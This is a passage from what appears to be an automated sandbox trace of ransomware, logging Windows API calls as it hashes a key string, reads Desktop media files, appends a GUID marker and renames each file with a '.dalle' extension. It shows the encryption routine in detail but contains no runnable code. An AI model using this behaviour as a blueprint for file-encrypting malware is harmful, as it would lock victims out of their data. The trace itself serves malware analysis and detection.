dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0120.117] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=30342) returned 1 [0120.117] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0120.118] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x7660, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.118] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0120.119] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x7686, lpOverlapped=0x0) returned 1 [0120.120] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.120] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.120] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.120] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c1050) returned 1 [0120.121] CryptCreateHash (in: hProv=0x6c1050, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0120.121] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0120.121] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0120.121] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0120.121] GetLastError () returned 0x0 [0120.121] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0120.121] CryptReleaseContext (hProv=0x6c1050, dwFlags=0x0) returned 1 [0120.121] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x7686, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.121] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.122] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0120.122] CloseHandle (hObject=0x618) returned 1 [0120.122] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\suJChr7SBbY4qJ.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\sujchr7sbby4qj.mkv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\suJChr7SBbY4qJ.mkv.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\sujchr7sbby4qj.mkv.dalle")) returned 1 [0120.124] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa001110, ftCreationTime.dwHighDateTime=0x1d4cc2d, ftLastAccessTime.dwLowDateTime=0x3ad0d620, ftLastAccessTime.dwHighDateTime=0x1d4d43f, ftLastWriteTime.dwLowDateTime=0x3ad0d620, ftLastWriteTime.dwHighDateTime=0x1d4d43f, nFileSizeHigh=0x0, nFileSizeLow=0x16976, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sw0t6XcCq_-sZjnOduKn.jpg", cAlternateFileName="SW0T6X~1.JPG")) returned 1 [0120.124] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Sw0t6XcCq_-sZjnOduKn.jpg") returned=".jpg" [0120.124] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Sw0t6XcCq_-sZjnOduKn.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\sw0t6xccq_-szjnodukn.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0120.124] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=92534) returned 1 [0120.124] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0120.125] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x16950, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.125] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0120.126] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x16976, lpOverlapped=0x0) returned 1 [0120.126] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.126] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.126] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.126] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c1050) returned 1 [0120.127] CryptCreateHash (in: hProv=0x6c1050, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0120.127] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0120.127] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0120.127] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0120.127] GetLastError () returned 0x0 [0120.127] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0120.127] CryptReleaseContext (hProv=0x6c1050, dwFlags=0x0) returned 1 [0120.128] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x16976, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.128] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.128] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0120.128] CloseHandle (hObject=0x618) returned 1 [0120.129] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Sw0t6XcCq_-sZjnOduKn.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\sw0t6xccq_-szjnodukn.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Sw0t6XcCq_-sZjnOduKn.jpg.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\sw0t6xccq_-szjnodukn.jpg.dalle")) returned 1 [0120.130] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2359a7b0, ftCreationTime.dwHighDateTime=0x1d4cfb7, ftLastAccessTime.dwLowDateTime=0xf1546510, ftLastAccessTime.dwHighDateTime=0x1d4d0f2, ftLastWriteTime.dwLowDateTime=0xf1546510, ftLastWriteTime.dwHighDateTime=0x1d4d0f2, nFileSizeHigh=0x0, nFileSizeLow=0xcbe6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Tx70s-VsAQSc.wav", cAlternateFileName="TX70S-~1.WAV")) returned 1 [0120.130] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Tx70s-VsAQSc.wav") returned=".wav" [0120.130] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Tx70s-VsAQSc.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\tx70s-vsaqsc.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0120.131] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=52198) returned 1 [0120.131] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0120.132] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xcbc0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.132] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0120.133] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0xcbe6, lpOverlapped=0x0) returned 1 [0120.134] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.134] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.134] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.134] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c10d8) returned 1 [0120.135] CryptCreateHash (in: hProv=0x6c10d8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0120.135] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0120.135] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0120.135] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0120.135] GetLastError () returned 0x0 [0120.135] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0120.135] CryptReleaseContext (hProv=0x6c10d8, dwFlags=0x0) returned 1 [0120.136] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xcbe6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.136] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.136] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0120.136] CloseHandle (hObject=0x618) returned 1 [0120.137] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Tx70s-VsAQSc.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\tx70s-vsaqsc.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Tx70s-VsAQSc.wav.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\tx70s-vsaqsc.wav.dalle")) returned 1 [0120.138] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e9c73b0, ftCreationTime.dwHighDateTime=0x1d4d0ae, ftLastAccessTime.dwLowDateTime=0x26191620, ftLastAccessTime.dwHighDateTime=0x1d4c701, ftLastWriteTime.dwLowDateTime=0x26191620, ftLastWriteTime.dwHighDateTime=0x1d4c701, nFileSizeHigh=0x0, nFileSizeLow=0x546e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="uEGeQkzsNxB9WeTM.m4a", cAlternateFileName="UEGEQK~1.M4A")) returned 1 [0120.138] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\uEGeQkzsNxB9WeTM.m4a") returned=".m4a" [0120.138] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\uEGeQkzsNxB9WeTM.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\uegeqkzsnxb9wetm.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0120.138] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=21614) returned 1 [0120.138] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0120.139] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x5448, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.139] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0120.141] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x546e, lpOverlapped=0x0) returned 1 [0120.142] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.142] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.142] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.142] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c1050) returned 1 [0120.142] CryptCreateHash (in: hProv=0x6c1050, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0120.142] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0120.142] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0120.143] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0120.143] GetLastError () returned 0x0 [0120.143] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0120.143] CryptReleaseContext (hProv=0x6c1050, dwFlags=0x0) returned 1 [0120.143] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x546e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.143] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.143] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0120.143] CloseHandle (hObject=0x618) returned 1 [0120.144] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\uEGeQkzsNxB9WeTM.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\uegeqkzsnxb9wetm.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\uEGeQkzsNxB9WeTM.m4a.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\uegeqkzsnxb9wetm.m4a.dalle")) returned 1 [0120.145] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2edae120, ftCreationTime.dwHighDateTime=0x1d4c57c, ftLastAccessTime.dwLowDateTime=0x2bf04de0, ftLastAccessTime.dwHighDateTime=0x1d4c588, ftLastWriteTime.dwLowDateTime=0x2bf04de0, ftLastWriteTime.dwHighDateTime=0x1d4c588, nFileSizeHigh=0x0, nFileSizeLow=0x71c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VRP-Z6.png", cAlternateFileName="")) returned 1 [0120.145] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\VRP-Z6.png") returned=".png" [0120.145] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\VRP-Z6.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\vrp-z6.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0120.145] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=1820) returned 1 [0120.145] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0120.146] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x6f6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.146] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0120.147] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x71c, lpOverlapped=0x0) returned 1 [0120.147] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.147] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.147] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.147] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c10d8) returned 1 [0120.148] CryptCreateHash (in: hProv=0x6c10d8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0120.148] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0120.148] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0120.148] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0120.148] GetLastError () returned 0x0 [0120.148] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0120.148] CryptReleaseContext (hProv=0x6c10d8, dwFlags=0x0) returned 1 [0120.148] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x71c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.148] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.148] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0120.149] CloseHandle (hObject=0x618) returned 1 [0120.149] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\VRP-Z6.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\vrp-z6.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\VRP-Z6.png.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\vrp-z6.png.dalle")) returned 1 [0120.151] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe622bc80, ftCreationTime.dwHighDateTime=0x1d4d1bc, ftLastAccessTime.dwLowDateTime=0xb89664b0, ftLastAccessTime.dwHighDateTime=0x1d4cf0f, ftLastWriteTime.dwLowDateTime=0xb89664b0, ftLastWriteTime.dwHighDateTime=0x1d4cf0f, nFileSizeHigh=0x0, nFileSizeLow=0xd277, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wY8i S_.flv", cAlternateFileName="WY8IS_~1.FLV")) returned 1 [0120.151] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\wY8i S_.flv") returned=".flv" [0120.151] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\wY8i S_.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wy8i s_.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0120.151] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=53879) returned 1 [0120.151] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0120.152] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xd251, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.152] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0120.153] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0xd277, lpOverlapped=0x0) returned 1 [0120.154] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.154] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.154] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.154] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c10d8) returned 1 [0120.155] CryptCreateHash (in: hProv=0x6c10d8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0120.155] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0120.155] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0120.155] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0120.155] GetLastError () returned 0x0 [0120.155] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0120.155] CryptReleaseContext (hProv=0x6c10d8, dwFlags=0x0) returned 1 [0120.155] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xd277, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.155] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.156] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0120.156] CloseHandle (hObject=0x618) returned 1 [0120.156] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\wY8i S_.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wy8i s_.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\wY8i S_.flv.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wy8i s_.flv.dalle")) returned 1 [0120.160] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80bb50f0, ftCreationTime.dwHighDateTime=0x1d4d0b3, ftLastAccessTime.dwLowDateTime=0x8c69e570, ftLastAccessTime.dwHighDateTime=0x1d4cc2a, ftLastWriteTime.dwLowDateTime=0x8c69e570, ftLastWriteTime.dwHighDateTime=0x1d4cc2a, nFileSizeHigh=0x0, nFileSizeLow=0xa05f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="xj-o.png", cAlternateFileName="")) returned 1 [0120.160] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xj-o.png") returned=".png" [0120.160] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xj-o.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xj-o.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0120.160] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=41055) returned 1 [0120.160] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0120.163] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xa039, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.164] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0120.164] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0xa05f, lpOverlapped=0x0) returned 1 [0120.164] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.164] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.164] lstrlenA 